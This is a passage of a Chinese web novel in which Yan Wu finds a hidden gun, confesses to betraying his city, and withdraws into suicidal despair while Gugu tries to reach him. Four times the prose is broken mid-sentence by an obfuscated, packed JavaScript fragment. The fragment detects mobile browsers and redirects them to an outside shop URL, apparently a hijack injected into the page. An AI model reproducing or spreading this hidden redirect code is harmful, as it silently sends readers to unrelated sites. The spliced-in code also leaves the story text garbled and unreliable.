副镇长靠在庭院的门旁,男人似乎很喜欢找一个开阔的地方待着,当下也不例外,“镇长其实很擅长动手打扫,克拉娜,你应该见识一下。我真奇怪为什么他这么勤劳却还是单身。” “别拿我打趣了。”燕戎陵的声音从内屋传来,听起来闷闷的,“享用了这么一顿美味的饭食,起码洗碗的事就交给我吧。” “好吧,再推脱下去就是我却之不恭了。”克拉娜道。 屋子里不时传来交谈声,欢声语接连不断,但是古古的注意力却完全在面前的红发男人身上。 他刚才提到了元城? 是她想的那个元城吗?为什么这个地名会从葛马的嘴里冒出来…… 不,这不是男人第一起提起这个地名了。早在最开始的时候,他就猜到了母亲是来自元城。 她想起来,男人说手里有古奈歌寄给丈夫的信,就是通过那些信件的内容,他才知道古古那么多秘密。最终他承诺,说会把那些信件带给她。 回忆至此,古古开口,“葛马,你还记得——” 她话没说完,屋内的响动打断了她。伴随着什么东西碎裂的声响,一个惊叫声传来,打破了屋内欢欣的气氛。 在庭院里看不见内部的情况,只听到女主人克拉娜的询问,“没事吧,镇长?” “没事……划伤而已。” 听到燕戎陵的声音,后半场无言的燕无站了起来,快步往室内赶去。古古见状,也抬腿跟了进去。 上午的光亮打进后厨,罩上一层影影绰绰的蒙纱,灶台旁,燕戎陵捏着自己的手腕,掌心有丝丝血迹。地上有一个砸烂的盆子,碎成了裂块,黑土散了一地,模样好不惨烈。 镇长伸手要去捡,克拉娜制止了他,“别捡,小心割破手。” 燕戎陵:“抱歉,把你们的盆栽打翻了。” “没事,人没事就行。” 燕无走过去,捏住自家大哥的手查看了一番,似乎是发觉没什么太大的事,就放开了。而后,他默不作声地低头,看向那破碎的盆栽,蹲下身去,从地上捡起来了一个黑块,低着头细细打量着它。 董莉莉回身跑开,似是去找扫帚,“放在那里就好,我来收拾。” 董家二妹从后院取回餐具,送到篓子里,待一并运到河旁清洗干净,“我看这盆蔫哒哒的小破草早就活得没劲了,摔死是种解脱。” “都怪我大手大脚的。”燕戎陵有些难为情地说。 克拉娜笑着说:“不,是这房间太小了,让你施展不开。” 副镇长时常高亢的声音传来,“所以我说,给你们换个大点的地方吗。” 董莉莉取了扫帚回来,走近那一地残骸,对簇拥在一起的人说道:“让让,我扫一下。” 人们给她让路,燕无从地上站了起来。但是,他直起身后,却没有腾出地方来。稍长的发帘遮盖住了面容,没人看得见他的表情,只听他用毫无波澜的声音问道:“……你们为什么会有这种东西?” 在众人的疑惑视线中,他把手里的东西举起来,那是一只木制铁边的长管器具,上面满是尘土。 一旁,葛马动作夸大地抱住自己的红脑袋,指着燕无手中的物件,不敢相信一般,大嚷道:“这里怎么有枪啊!?” 燕无的视线如一道寒冰,投射道葛马身上,“你叫它什么?” 古古眨眨眼,不确定自己是否看错了。那东西和黎军所用的武器非常像,只是更加短小,但模样是相近的。 董莉莉离得最近,她手里擒着扫帚,浑身僵硬了一般,不敢动作,神色惊骇,“先、先把它放下,那东西很危险,不确定里面有没有子弹……” 燕无的表情狰狞,完全没有听从董莉莉的话,凶狠说道:“我当然知道它危险,我被它击中过。我是在问你们,为什么你们会有这种东西!” 他这么问,在场的一众血皑人却是都愣住了,一时没人回答他。 燕无眼中闪烁着不善的光,他质问道:“你们知道这是什么,甚至还藏起了一只,刚才却骗我说从没见过?” 葛马几步跑到前面,把董莉莉拉到了身后,他声音颤抖,却不防碍大声控诉,“那是因为小哥你在饭桌上向我们提问的样子很可怕啊!” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13223593|127433||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“燕无。”燕戎陵靠近靠近自己的四弟,表情严肃,“先按他们说的,把那东西放下吧。” 燕无看了眼自己的大哥,又看了眼手中的枪,没有松开它,只是垂下了手臂。视线转移到了血皑人的身上,他看着这屋子里没有信任关系的人们,压低了嗓音说:“解释清楚,不然今天谁也别想完好地走出这里。” 他模样是认真的,仿佛如果得不到一个合理的说明,就会随时抬起那武器,朝人们攻击一般。 董莉莉开口,模样诚恳,“盆栽是一个……友人送给我的。但是,我先前不知道这里面有枪,也不理解她给我这个东西的用意是什么……” 燕无似乎不太满意于对方的回答,打量了一番手中的武器,瞄准了一旁的玻璃,手指搭在金属片上,作势要按下它。 “呀!”董夜明捂住了耳朵,像是知道会发生什么一般,对那东西充满了恐惧。 但是,枪没有响,只是发出咯哒的一声。 燕无的视线投向另一拨人,他问道:“这东西怎么用?” 董莉莉摇了摇头,“我不知道。” 燕无说:“别装傻了。” 葛马解释说:“我们谁都没用过那东西,只是一度被它的持有者追逐射击。具体怎么操作,我们谁也不知道呀!” 燕无盯着面前几个人的脸,目光阴森,不过,他渐渐好像思量清楚了什么,低声道:“但你们知道这个武器,当我们在血皑会面的时候,你们一个字都没有说。” “那是因为,我们没有告诉你的契机呀。”葛马站了出来,为自己人辨护,“你说这是黎军使用的武器,我们当时根本都不知道你也会和他们打照面!听你的意思,黎礼进攻了甾染,但我们怎么可能在那时候就知道会发生什么,毕竟她才在血皑掀起了一阵血雨腥风,按常理来说不可能那么快又组织军队出兵,而且谁也不知道她会选择甾染作为下一个目标。就算我们和你说他们有枪,那时的你能相信吗?能相信世界上存在那种武器吗?如果我们对你说甾染打不过黎军,在那种武器的面前怎样的精兵良将都不起作用,作为甾染内承的你真的能听进去我们的话,而不会把我们当成疯子抓起来吗?” 燕无盯着男人,那视线无比锋利。古古看得出来,他的身体隐蔽地颤抖,这是男人受伤醒来之后第一次有这么大的情绪起伏。 “但凡早一步知道黎军拥有怎样的武器,”燕无低下头去,憎恶地盯着手中的物件,“我们都不至于……” 他似乎已经不在乎葛马向他解释什么了,只是在一味地自说自话。男人的模样实在有些不太对劲,而一旁的燕戎陵似乎也觉察出来了这点,他悄然靠近四弟,一把夺过了对方手中的武器。 燕无一愣,猛然回身,发现抢夺者是自己的亲人后,眼神中杀伐的狠厉才淡了下去。 燕戎陵拍了拍燕无的肩,似是想要他镇定一般。镇长晃了晃手中的物件,朝对面的几个血皑人说道:“这东西先交给我保管,没问题吧?” 像想要尽快摆脱这灾厄的武器一般,葛马与董莉莉不假思索道:“可以。”“好。” 126. 不敢言说的真相6 燕戎陵手上用了些力气,将人搂着往外带,燕无虽然态度很差,可似乎状态不太好,一拉就拉走了。 出门前,燕戎陵转头对克拉娜等人道:“今日多谢款待,下次我会带着回礼来。” 古古也和几个血皑人点头示意,跟在燕家兄弟的身后离开这个温馨的小房子。走到了清冷的街上,一阵凉风刮来,她打了个寒颤,身体里残存的热度很快消散了。 一旁,燕戎陵放开了燕无,盯着再度有些不振的人,道:“唉……早知道我自己来了。” 燕无没反应,他从房间里出来之后,煞气突然就不见了,变得像个没什么生气的物件一般。 “武器的事之后再说。”燕戎陵转头对跟在身后的副镇长说:“先把马车牵过来吧,接下来要去马场,路有点远。” “好咧。”对方低声应了句,快步行动了起来。 古古想起来,他们本来就是打算要去马场的,不过燕戎陵说要先见一趟逃难来的血皑人,所以才有了这么一番不算愉快的插曲。看燕戎陵的意思,他们接下来的计划并没有改变。 希望到了马场之后,看到曾经想要的东西,燕无能开心一些吧。古古想道。 他们离血皑人的房子远了些,在一个路口停下来等待。不久,副镇长带着马夫和马车回来了。能载四人的厢门敞开,几人先后上了马车,副镇长说自己还有别的事,就没有与他们同去。 车夫吆喝了一声,马匹踏开了步伐。窗外的景色在眼前闪过,燕无偏头盯着,对要去的地方没有丝毫反对,好像他们带他去哪,他就会去哪一样。 马车上,燕戎陵说:“马场的基本准备已经做得差不多了,但是,如何设计场地,养哪些马种,马场的主要功能有哪些,这些都没有经过细致的考量。燕无,这段日子,你就先帮我想想这个马场应该怎么搭建起来吧。” 古古看一燕无一眼,男人又不说话了,望着窗外,像只被关起来的鸟儿一般。她现在才看明白,只有在有关黎军的话题上,燕无才会掺上一嘴,其它大部分时间他都是沉默的。 为了引发燕无的兴趣,古古接着燕戎陵的话道:“戎陵哥,我也可以帮忙。” 燕戎陵健朗地一笑,“那真是太好了,实不相瞒,我本来也有请你帮忙的想法。你做过甾染的经贸师,有关马场的投入和盈利方式,可都要仰仗你了。” “不过我从来没有经营过马场,这还是第一次。”古古说道。 “没关系,你可以的。” 古古转头向燕无问道:“燕无,你想养什么马?” 男人不予回应,沉默着。 “记得你曾经给我买的那种小矮马吗?要是能进一批,肯定会招很多小孩子过来。” 燕无无言半晌,“……都行。” 古古并不因男人的冷淡而泄气,持之以恒地挑起话题,“到时候我们给每匹马都起名字吧,第一匹买进的马就叫……叫阿财怎么样?预兆着马场的生意一定兴隆。” 燕无:“……” “哦,不对,咱们的第一匹马应该大黑才对。我真坏,把大黑给忘了。它载着我们平安到达暮落镇,这多亏了它的不辞辛劳。我们将来把大黑好好养起来吧,不要它再做什么重活了,不拉车也不载人,快快乐乐地想怎么活就怎么活。” 燕无仍然盯着窗外。 古古不懈地问他,“好吗?” 在她的坚持下,男人才勉强张嘴道:“随意。” “还是说你觉得应该放它走,还给它自由?” 燕无的视线望过来,里面是无情的光,“怎样都好,那不是我的马。” 古古张张口,看着男人一丝感情也不沾染的目光,一时不知道该说些什么。燕无又回过头去,一副谁也不理的样子,继续看那窗外闪过的风景。 车内安静了半晌,打破沉寂的,是燕戎陵的问话,“燕无,你要这样到什么时候。” 他等了一阵,可靠在窗边的人却没有听见一般,不予回应。 燕戎陵拽过对方的衣襟,拉近距离,让他直视着自己,“已经一个多月过去了,你要消沉到什么时候。” 半晌之后,像是这句话终于传到了耳中,燕无垂眼避开了对方的视线,“哥……你不懂。” “我不懂什么?”燕戎陵身边的气压有些低,他沉声说着。 “他们把父王推下了城墙。” 燕戎陵质问他,“因为这个你要一辈子一蹶不振?难道死去的不也是我的父王吗?” “不一样。” “什么不一样?” “你只是看着他死去了。而我……”燕无说着,声音却越来越小,“而我……” “怎么?”燕戎陵严厉地问。 那之后,燕无说了很长的一段话,比他这些天了说的所有话加在一起都长。 男人面上没有表情,像是有人撕开了他的脸,又贴了一副假面上去。 “九月初,甾染收到了摄文凿山的消息,一二三五军出动,四六军留守城中。十月,黎军趁此空档,攻下了甾染。一将军怀疑军中有敌人的眼线,说摄文凿山的动向恐怕有假,只是为了引我军离开甾染。黎军趁机攻城,也是得到了我军不在城中的消息。 “你知道消息是怎么透露出去的吗?你知道是谁明知摄文没有凿山的动向,却还是将甾染大军调离了主城。是谁知道这整场作战是调虎离山之计,却还是自愿落入这个陷阱。是谁暗中和敌人的信使勾结,给敌军可乘之机,其目的,只是想要把甾染拱手让人……” 燕无看着燕戎陵,神情空洞无比,“是我啊,哥。” 嗡的一声,古古的脑袋里一阵长鸣,她什么也听不见了,只能呆呆地看着燕无。 ……他刚才说什么? 另一边,擒着燕无的燕戎陵表情空白,脸色惨淡,他像是凝固了一般,连话都说得磕磕绊绊,“你说的……那些话,什么意思?” 一丝忏悔的情绪染上燕无的音色,仿佛在说出那些话后,强撑着的虚伪面具终于能揭 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13236619|127433||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 开,露出那下面的汹涌绝望来。 “我不想留在甾染,但是我明白你们谁都不会回来继承王位,只是逃跑的话父王肯定会把我抓回去,所以我需要一个名正言顺的理由,而那就是失败。所以我和黎礼的线人勾结,想要把这座城池拱手相让,故意把军队拆成两只,就是为了分散甾染的兵力。线人告诉我,战争不会发生,黎军会尽快占领城池,甾染大军回来的时候,将面对着铜墙铁壁,无奈之下,只能从甾染撤离,并不会有多少伤亡。线人没有告诉我,他们拥有那样的武器,更没有告诉我,他们会大开杀戒。” 燕戎陵脸色惨白,像是一度窒息,又重新开始呼吸。接着,他神情变得阴鸷起来,“燕无,你是认真的吗?” “没有什么认真不认真的,我已经那么做了。”燕无心死一般地看着他。 男人瞪着自己的四弟,爆张的肌肉预兆着他的暴力,“你是在说,是你的行为导致了那么多甾染士兵的牺牲。是你的决定,让敌人有机会当众羞辱我们的父王,让他在城墙上那般折辱地死去。” 燕无顿了一下,回答,“是。” 下一瞬间,燕戎陵抬起一只手来,似乎就打算这么猛劈下去。古古见了,扑上去拦住了他,“戎陵哥!” 男人的手臂在颤抖,肌肉像石头一样坚硬。古古从未见过这样的燕戎陵,在她的印象里,他总是温和宽容的。传闻燕戎陵在二十多年前征战南北的时候就十分招人喜欢,他几乎不对人发脾气,有着十足的心胸与魄力,他们都叫他燕少爷,他骁勇善战,头脑聪慧,也能够将众人团结一心,是一个天生平意近人的领导者。也正是因为如此,他才在当年得到燕雁身边那么多人的支持。 可是现在,他愤怒无比,向自己的家人拳脚相向。 “那是你我的父王!甾染是他多年辛苦打下的基业。”燕戎陵音色压抑得可怕,“可你做了什么?” 燕无的头垂向一旁,视线也一样。 燕家大哥无声地注视着四弟,空气焦灼着紧绷的气氛。但这气氛没有持续太久,年长者突然松开欲施加暴力的手,说道:“……我发过誓,不会变得和他一样。” 燕戎陵挣开了古古阻拦他的手,将燕无推去一旁,打开车门,就那么跳了下去。 车夫听见了后面的响动,把马车停了下来,回过头,模样疑惑,“怎么了?” 古古探出身去,看到燕戎陵头也不回地往回走,一句话没有留下,似乎就要这么回镇里去。 车夫摸不着头脑,又问道:“还继续走吗?” 如果现在掉转方向,恐怕又要和对方打一个照面。让兄弟两个再见面起什么冲突,这是她所不愿意见到的。古古没有去追上的意图,因为,她知道,燕戎陵现在正在火气之上。这时候还是让兄弟二人分开,留给彼此一些空间为好。 想到这里,古古对车夫说道:“继续往马场走吧。” 马车启动起来,古古看了燕无一眼,后者还是刚才那被燕戎陵推开的姿势,颓然地坐着。 127. 终归自由1 日光不时照进马车之中,它颠簸一路,终是停了下来。车夫在前面对他们说,这里就是马场了。 古古和燕无两人下了车,站在马场边缘。那是一片大平地,没有植物生长,周围的楼房到这里戛然而止,像是被什么切断了一般。从场地的整洁程度能看得出来,这里已经做好了准备,要搭建出更加一个规整的、不同于当下的模样了。 但是,现在他们谁也没有心情视察。望着广阔的、苍茫的、空无一物的场地,两人的心思都不在这个上面。 古古不知道该如何平缓地谈起刚才的话题,只好干巴巴地对燕无说道:“所以,从一开始,接到了摄文凿山消息的时候,你就在盘算着让黎军夺取甾染了。” 燕无来到一颗树旁,靠在那上面,闭着双眼,疲惫地回答,“是。” “为什么,燕无?你明明可以不做得这么绝对,你只是不想待在甾染了,为什么要……” “我不希望燕家的任何人,再坐在那个充满了不幸的王座之上。” “你不希望戎陵哥回来继位。”古古说。 “他很早就离开了甾染,意志比谁都决绝,但是,如果是父王的要挟,加上我的恳请,他还是会回来吧。”燕无说,睁开眼,目光怆然,“回来,然后放弃他这么多年在牧盟苦心经营的一切,回到那个多灾多难的城池。如果我这么做,岂不是加害于我的大哥?” “那和武王为了向杜光欧借兵一事而争执的那天,你冲出去,说是要把戎陵哥找回来,完全是气话吗?”古古说道。 燕无的声音很弱,像是无力言语一般,“并不完全是。我一直在等一个机会,等一个能够击败甾染的敌人出现,我会把这座城池拱手相让。但是,黎礼也并不是那么可信,所以,我当真是生出过把大哥迎接回来的念头,不管这对他而言将会是怎样的地狱。知道这么做能拯救我的水深火热,那我就会去做。” 古古没有回应,只是沉默。 “我太自私了,我知道。真实的目的如果说出去,人们会把我架在火刑架上,将我焚烧整日整夜,将骨灰丢进粪坑里,让我和那些污秽一起在地下腐烂。”燕无如此道。 古古为他开解道:“没那么不堪,你不是已经承认自已做过什么了吗?” “我只是在你的面前承认了,因为我知道你不会焚烧我。”燕无道。 “不,你在戎陵哥面前也坦白了。”古古替他辩解道,似乎这么说,就能否定那段话,否定他是个自私的、罪大恶极之人。 燕无凄惨地笑道:“那是因为,我也知道,他不会把我怎么样。我这个人,是不是已经烂了啊。” 古古凑上前,焦急地说道,“不,你只是——” “我就是烂了。”燕无打断道,他的头偏去一旁,发帘遮盖住了双眼,只有一双惨笑的嘴角露在外面,“你别管我了……就不该救我,应该让我和士兵们,和父王,和甾染一同死去。” “不……不。”古古将燕无的脸颊掰回来,撇开他的发帘,在那下面,她看到了一双绝望的、麻木的眼睛,“你得活下去。” 燕无疲惫地看她,“为什么?” “为了……”古古不知道该说什么,胡乱地给了一个借口,“……赎罪。” 燕无有些破碎的声音传来,他的惨笑仍在继续,“为什么我要赎罪?那比死亡还痛苦。我已经放下了过去,所有加之我身的苦难,都不去追讨。为什么,到了我这里,当我做错了,当我是别人苦难的根源,当我错误的决策导致了他人不幸的时候,我要去为了我所伤害的人去付出些什么。” 古古听着这段话,她想,这是她从燕无口中听到的最吝啬、也是最无奈的话。看着男人那将死的、也几乎杀死她的无望神情,一时间,竟然忘记了自己刚才说到了哪里,接下来又该说些什么。她想,她一辈子也无法忘记这个瞬间了。 燕无眼里的光全碎了,开口道:“你知道,是甾染扭曲了我,是父王的理念,造就了我一生的不幸,那些我亲领的士兵当中,又有多少曾经出言辱骂过我,羞辱过我,只是在我称王之后,他们不敢放肆了而已。我没有跟他们任何人计较,他们也从来没有为他们自己的行为付出代价,所以,古古,你告诉我,为什么,反过来,你要我去为那些给我带来了不幸、我又将不幸还给他们的人,去付出比死亡更惨痛的代价?这不公平,这没有道理。” 古古能感受到他的委屈,还有他积压已久的怒意。这个世界上,如果连她都不懂他,那么,他该如何地孤独。 “我就是这样的,这就是我一直以来的想法。”燕无说,闭上眼,“别待在这里了,别和我这种人在一起。” “燕无……” “上午,饭桌上,那个红发的西索人不是提到了元城吗?”燕无突然转移了话题,轻声说,“他肯定还知道很多事情,现在你有很多时间,尽可能地去问他吧。” 燕无一副拒人千里之外的模样,那让古古无法再说出什么话来。她沉默了良久,“起码先回住处吧。” 燕无同意了。就这样,两人无言地回到马车上,在晌午的清冷日光中,他们回到了暮落镇的住房。那之后,燕无便待在房间里,古古按他所求地离开,给了男人足够的个人空间。 步行到一暮落镇上的住宅区,古古找到了那个不大却温馨的房子,她站在门前,思虑再三,敲响了房门。 一阵脚步声传来,听起来比上一次谨慎了许多。门敞开,来开门的依然是那个金发的女人。只是,这回她不像以往那么热情洋溢,经过了今早的事情,甾染人和血皑人之间似乎竖起了一道不透光的墙,有些事情已经回不去了。 克拉娜没有把门开得很大,在门口向古古问道:“古古……你有什么事吗?” 见对方这副模样,古古感觉有点委屈。不过,现在想来,双方发生争执的时候,她没有站队,没有帮助恼怒的燕无,也没有为董莉莉和葛马他们说话。所以,他们没有把她当成自己人,是理所当然的。想明白了这一点,那点委屈从心里顿时消失了。 失去了信誉,那么便重新建立信誉,这是一个商人奉行的真理,古古对此有着十分的笃定。在她的视角里,世界就是这么运作的,只有信任才能将一切推动下去。而失去的信赖,也必须付出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13260641|127433||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 努力将它们挽回来。 “克拉娜姐姐,我是来见葛马的。”古古说。 克拉娜没有让开的意思,女人以自己的身躯挡在门前,将所有那些可能有威胁的人拒之门外。她看着古古,眼神里有怀疑的成分,问道:“你找他有什么事?” “上午燕无来打扰了你们,真的很抱歉。但是,他刚和黎军打过仗,还没有从战争中缓过神来,整个人都特别紧绷。那不是针对你们,他只是……太害怕了。”古古说道,“我发誓,他不会再那样了。” 这时候,门突然敞开了一些,冒出一个红脑袋来。那是葛马,他眯起眼睛,打量了一番古古,又四处看了看,问道:“那个高个子没跟着你?” 古古知道,他指的是燕无,男人是这群人里个头最高的。而燕戎陵作为燕无的大哥,虽然身板也高大,只是没有他弟弟们那么夸张。古古应道:“他没来。” 葛马模非常地小心翼翼,他再三确认周围没有人影后,一把将古古拽了进来。门啪一声关上,房门前一个人也没有了。 门关上,屋里的葛马才松了一口气,他擦了擦汗,但古古怀疑他的额头上根本没有汗。 “我可真的不想再见到那个阴沉的男人了……”葛马道。 克拉娜在他们旁边经过,温和的声音飘过来,“坐下说吧,自己找地方。” 古古四处环顾,董家姐妹似乎不在,大概是出门了。房间里放着几个大大小小的行李,明明上午的时候还没有这些东西。古古不得不猜测,这伙人是不是真的被吓到了,想要打包东西离开暮落镇。 葛马坐在一张矮长椅上,向古古问道:“你找我什么事呀?” 古古也坐下来,“你还记得我们的交易吗?” 男人曾经答应过古古,要把她母亲寄给父亲的信件带给她。这个约定,古古其实一直没忘,她见到葛马、想起来这件事之后就想问他了,现在终于有了机会。 葛马说:“记得。不过我也刚回暮落镇不久,还没来得及去取。” “这个可以先放一放。上午的时候,你说你知道第三条穿过横古山脉的路……” “哦,你是说元城。” “所以你知道元城在哪?”古古问。 “大概知道吧。怎么,你有兴趣吗?”葛马道。 当然有兴趣,母亲给父亲的信都是寄到元城,说不定父亲就在那里。 “有一些。它具体在什么地方?” 葛马发出一阵没什么意义的沉吟,靠在身后粉刷过的石头墙上,双手交叠放在脑后,“那地方可远着呢,在临海的山脉里。入口已经封死了,想进去的话,只能先爬雪山。” 古古听见对方的描述,不禁对其中一段表达出疑惑,“在临海的山脉里……在山脉里面是什么意思?” “就是你听到的意思,那座城市是建在山里面的。” 建在山里的城市?她从来没听说过这样的事。 葛马说的是真的吗?她有些不敢相信。依稀记得,早在甾染的时候,男人说过自己并不知道元城在哪。可现在他为什么会是这么一副确信的模样? 128. 终归自由2 “要去的话,可要做不少准备呢。”葛伸出手指细数着,“登山的防风衣物,耐磨抓地的靴子,充足的食物,还需要有一副坚强的体魄,和永不言败的心。没有这些,可是会被大雪山打败的。” “听起来元城还挺不好找的。” “确实。”葛马笑起来,露出尖尖的虎牙,“不过有我当向导的话,小小一座雪山而已,根本不在话下!” 听出了对方的言下之意,古古心里有些抗拒,她只是来询问对方关于元城的所知,并没有和他一起行动的想法。 葛马开始推销自己,“我很便宜的,不需要多少令。小姐你肯定出得起……” 古古蹭一下站起来,“我想起来还有点事,多谢解答,但是我要走了。” 说完,她头也不回地向门外走去。 葛马的脚步声紧随其后,男人挽留道:“欸,价格我们可以再谈谈!” 古古出了门,嘭一下把红发男人扣在了屋里。她快步离开了,以防对方追出来又找上她。 当下,距离从燕无那里离开并没有过去多久,现在回去还不是时候,这么想着,古古便去集市打发时间。时至中午,集市上卖货的人不多,大部分交易都在早上结束了,她逛了一圈下来,没见什么想买的东西,再者她现在身上也没有钱。于是乎,待到下午的时候,她启便回程往燕无的住所而去。 到了那多层的庄严建筑前,她又在门口流连了一阵子,这才走上二楼,来到了燕无的住处。男人所在的房间紧闭着,古古敲了敲门,里面没有回音。 是不在吗? 她尝试开门,然而,圆球形的门把手却转不开,看样子是从内部反锁了。 “燕无,你在里面吧?给我开个门。”她说,静待屋内的回应。 可是半晌过去,大门还是紧闭着。门里面传来一阵窸窸窣窣的声音,像是长袍在地面拖动发出的声响。里面显然是有人的,古古再度对话道:“燕无,你在做什么呢?” 无人回应她,有的只是窗户打开的吱呀声响。一阵风吹进室内,连带着古古面前的门也晃了一晃。 “燕无?” 她贴在门上,听着里面的动静,然而,在开窗的声音过后,屋内就变得异常安静。她越听,一种不安的情绪就越是在心里蔓延。 燕无为什么不说话?他开窗是要做什么? 突然,她想起燕无不久前的那番话,那番没有什么求生欲望的话。他说他不如和甾染的将士一同去死。 古古的心里咯噔一声。 应该不会吧,那只是一句丧气话。可是他把窗户打开了,为什么……不,没事的,这里只有二层楼高,不会出什么事。 可是无论她怎么安慰自己,无端的心慌还是笼住了她,让想法无法控制地向最坏地情况靠拢。 “燕无!你能听见我说话吗?”她用力拽了几下门把手,可是坚固的门没有敞开的迹象,光凭她是无法破坏里面的锁的,“开门,燕无,为什么什么话都不说啊!” 迟迟得不到回应,古古的心中愈发焦急。她当即放弃和门锁继续纠缠下去,转身去找能开门的人。 这橦楼既是住所,也是镇长常待的办工处,所以一楼有负责接待的人员。古古狂奔至一层的招待台,朝坐岗的人问道:“请问镇长在哪?” 那人回答:“镇长不在。” “副镇长呢?” “副镇长和镇长在一起。” 这人问一句答一句,闹得古古越来越心急,“他们在哪?” “镇长要离开暮落镇,副镇长去送他。” “在哪!” 对面的人一惊,似乎没想到眼前小小的人儿能发出这么愤怒的声响,“呃,他们往东门去了,镇子的东大门。” 来不及思考燕戎陵为什么打算离镇,听到他在东大门的时候,古古就回身冲出了建筑,留下那看上去没什么脾气的接待人员在原处。后者嘀咕着,“怎么这么大火气……” 古古一路边问边奔向东门,这时,天色已经不早了,太阳已有西去之意,并不强烈的白光打在她脸上,映出一颗颗细密的汗珠。 终于,她赶到了东门,遥遥望去,只见那里有一群簇拥的人影,几辆马车停在两侧,整装待发。 在那一众人中,古古看到了暮落镇镇长的身影,男人跨坐在一匹枣红色的马上,和马下的副镇长交待着些什么。眼见对方就要动身了,古古大喊着,“戎陵哥!” 枣马上的男人抬起头来,看到了奔来的女人。古古尽自己最快的速度跑过去,停在那遮住一大片光亮的马前,来不及调整呼吸,喘息着说道:“燕无……燕无不肯从房间里出来。” 燕戎陵皱着眉盯着她,一时没有说话。 古古抬头看着燕家的大哥,祈求地说道:“门锁着,我怕他出什么事,戎陵哥,你去看看他吧……” 燕戎陵的面色有些紧绷,话语声也有些不尽人情,“他还在萎靡不振?” “他状态很不好。” “……我没时间一直浪费在他身上。” 古古不明白燕戎陵怎么能说出这种话来,“可是,他是你弟弟呀。” 一旁,副镇长咳嗽了一声,像是不愿掺合别人的家事,悄声跑了,“我再去过一遍远行用的物资……” 燕戎陵仍然蹙着眉,低眸盯着古古,“既然他想一蹶不振,那就让他一蹶不振下去。” “可他样子真的很不对劲——” 燕戎陵深吸了一口气,打断了她,“我还没有原谅他。” 古古一顿,她是知道的,这兄弟二人的矛盾很明确,那就是有关燕无所做的一切间接导致的甾染和燕雁身上的灾祸。 她理解这一切,但是,她却无法和燕戎陵的苦衷共情。是,她知道,因为燕无的举动,很多甾染士兵都牺牲了。可是,他们是战士,就连那个武王燕雁也是,他们都是甾染至高的荣耀,生来就是为了战斗,而战争就是有失败的时候,她从未在哪本书上读到过哪个势力能够永不落败。 或许,她的这种想法会招至诸多亡魂,在夜晚痛斥她的无情。但是,她的世界就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13276354|127433||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那么大,没有精力去关心每一个遇见的人,更何况只是些知道名字或集体代号的人。 灾难来到了甾染,恰好,燕无是当下在位的那一个。他不知道黎军的凶残,也不知道妥协和退让会给城池和子民带来什么,他只是太累了,太疲倦了,需要抛下这一切。而他选择了一个错误的节点,一个错误的敌人,致使这一切悲剧发生。 但是,古古不认为这世上有任何人可以责怪他,没人知道在他身上发生过什么,他们没有资格对那样一个人指指点点。燕无有过许多正确的决定,他领导的征伐未尝败绩,然而,只是失败了这么一次,世界便开始了对他的惩罚。这不公平,凭什么他兢兢业业活到了现在,一直在按照别人的意愿去做事,而一旦他有欲望的时候,想要为自己的做些什么的时候,世界就用这些痛楚回应他。 这不公平。 “好啊,那就这样丢下他吧!”古古退了两步,突然大声对燕戎陵说道,“反正最初你们就是这么做的,一直都是这么做的!现在也这么做吧,贯彻你的使终如一吧!” 古古头也不回地跑了,身后没有追上来的声音,她也不指望说出那番话的燕戎陵能帮忙做些什么。她赶回了燕无所在的楼宇,遥望见二层的一扇窗户上有一个人影,因为镇长楼一层有公用的属性存在,所以修建的比较高,也因此,二层楼比一般建筑都要高上许多。而那人坐在窗台上,半个身子露在半面,视线看着远处。 古古停在窗下不远,她认出了对方,扬着头,忧心忡忡地对他说道:“燕无,那里危险!” 窗台上的人没有反应,他像是睡着了一样,靠着窗梁,落日的晖光照在他的脸上,微风吹拂他的发,市井的吵闹声在临近夜晚时又开始喧嚷,然而,这些好像都无法唤醒男人。 见没有回应,古古冲进了镇长楼,在招待台的后面,她看到了一个铲雪用的铁铲,不由分说取走了,不管那接待员如何大叫着不能乱动公用的物资。 她回到二楼,来到燕无所在的房间前,现在已经确定男人就在里面,对方只是不愿意露面,也不愿给什么回应。 